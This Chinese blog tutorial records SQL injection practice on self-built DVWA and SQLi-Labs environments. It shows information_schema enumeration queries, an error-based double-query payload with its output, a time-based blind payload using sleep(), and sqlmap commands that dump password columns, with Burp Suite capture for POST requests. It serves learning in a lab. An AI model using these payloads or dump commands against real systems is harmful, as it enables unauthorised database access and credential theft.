热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQL注入的原理和一些练习

原理介绍:SQL注入演练SQLi注入平台相关介绍:SQLi-LabsSQL注入练习平台(第一关)练习平台:SQLinjection

原理介绍:SQL注入演练
SQLi注入平台相关介绍:SQLi-Labs SQL注入练习平台(第一关)
练习平台:SQL injection,自己搭建的dvwa练习平台
同时,自己也搭建了PHP+Apache+Mysql的环境。


一些常见的sql注入的命令使用方法

使用select database();可以获得当前所使用的的数据库名称。
又比如user()返回当前用户信息;
version()返回当前数据库以及系统版本信息。


熟悉mysql中一些本来就有的数据库,如information_schema

从mysql的关于TABLE_SCHEMA的sql语句和nformation_schema表这篇文章讲述了这个数据库中的表所包含的内容,如使用以下命令可以获得当前用户下其他数据库内包含表的情况:

select table_name from information_schema.tables where table_schema='dvwa'

其中数据库information_schema有一个名为tables的表,table_name和table_schema是该表中的数据,这个tables的表是包含了当前用户所拥有的所有数据库的所有数据,table_schema包含了当前用户所有的数据库的名字,如上面查询的就是当前用户的dvwa数据库的内的情况,teble_name就包含了数据库中所有表的名字。
所以,当我们知道当前使用的数据库的名字,我们就可以通过上述命令来获得当前数据库的所有表的名字.
又比如, 以下命令可以查询表中的列的名字 :

select column_name from information_schema.columns where table_name='users'

之后,你就可以通过select相应的列来获取自己想要的信息。
(以上也是dvwa中sql注入的简单内容)


SQL双重查询注入(错误查询)

主要是使用类似以下语法,使得多次rand之后的结果与之前的结果有冲突,键值数量发生变化,引起相应的错误信息——重复键值,rand、group、count缺一不可,参考原理:双重查询注入原理

select count(*),concat_ws(':',(select user()),floor(rand()*2)) as a from information_schema.tables group by a;

由于具有随机性,所以可能会出现如下的错误信息:

ERROR 1062 (23000): Duplicate entry 'mysite@localhost:0' for key 'group_key'

可以看到,user()的信息也一并返回了


SQL盲注

select * from mysite where name='1' and if(ascii(substr(version(),1,1))=53,sleep(5),1)#

形如上述表达式的式子被称为盲注的一种,当sql语句执行得到的结果并不能直接观察到时,可以通过上述的sleep()语句观察延时,如上述的表达式,当观测到延时时,则说明ascii(substr(version(),1,1))=53,即mysql版本号的左边第一个字符为ASCII等于53的“5”,依次类推,利用二分法可以推出所有的字符。


SQLmap使用方法

或者使用sqlmap实现自动化注入查询

sqlmap -u "http://192.168.50.123/vulnerabilities/sqli/?id=1&Submit=Submit#" --COOKIE="PHPSESSID=q78nsagdu2k5bic82749emp9u1;security=low" --batch -D dvwa -T users -C password --dump

sqlmap使用方法可以通过sqlmap -h来查询,在上述命令中,COOKIE是登录信息和dvwa的难度设置等级
注意:上述sqlmap的使用方法仅限于使用get方式的请求,当提交的表单信息是以post方式提交时,需要使用以下方法:


  1. 将浏览器的代理服务器(proxy)设置成localhost:8080,
  2. 打开burpsuite将proxy选项卡的开关intercept开关打开
  3. 用浏览器打开相应网页,提交表单(submit),此时请求就会发到代理服务器端口上,因此就会被burpsuite拦截到,如下所示:图一 使用burpsuite拦截到的post请求
  4. 右键上述界面,将其保存在系统中,接着使用以下命令来使用该请求文件:
    sqlmap -r /root/桌面/sql-injection-medium -p id --batch --dbs
    通过上述命令即可获知当前的数据库信息。
    在这里插入图片描述

推荐阅读
  • 问题说明最近看到Spring事务,在学习过程中遇到一个很苦恼问题搭建好Spring的启动环境后出现了一点小问题在启动时候却出现[java.lang.NullPointerExcep ... [详细]
  • linux json 写sql注入,sql注入之json注入(php代码)
    环境phpstudyphp服务端代码security数据库中的users表中的username,password字段用户名adminJSON服务端代码大家实际测试中注 ... [详细]
  • POI编程
    POI编程1简介在我们实际的开发中,表现层的解决方案虽然有多样,但是IE浏览器已成为最多人使用的浏览器,因为大家都用Windows。在企业办公系统中 ... [详细]
  • MySQL重大Bug!自增主键竟然不是连续递增?
    MySQL重大Bug!自增主键竟然不是连续递增? ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 在Xamarin XAML语言中如何在页面级别构建ControlTemplate控件模板
    本文介绍了在Xamarin XAML语言中如何在页面级别构建ControlTemplate控件模板的方法和步骤,包括将ResourceDictionary添加到页面中以及在ResourceDictionary中实现模板的构建。通过本文的阅读,读者可以了解到在Xamarin XAML语言中构建控件模板的具体操作步骤和语法形式。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 本文介绍了如何使用PHP代码将表格导出为UTF8格式的Excel文件。首先,需要连接到数据库并获取表格的列名。然后,设置文件名和文件指针,并将内容写入文件。最后,设置响应头部,将文件作为附件下载。 ... [详细]
  • 本文整理了315道Python基础题目及答案,帮助读者检验学习成果。文章介绍了学习Python的途径、Python与其他编程语言的对比、解释型和编译型编程语言的简述、Python解释器的种类和特点、位和字节的关系、以及至少5个PEP8规范。对于想要检验自己学习成果的读者,这些题目将是一个不错的选择。请注意,答案在视频中,本文不提供答案。 ... [详细]
  • 本文提供了关于数据库设计的建议和注意事项,包括字段类型选择、命名规则、日期的加入、索引的使用、主键的选择、NULL处理、网络带宽消耗的减少、事务粒度的控制等方面的建议。同时还介绍了使用Window Functions进行数据处理的方法。通过遵循这些建议,可以提高数据库的性能和可维护性。 ... [详细]
author-avatar
祝图net
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有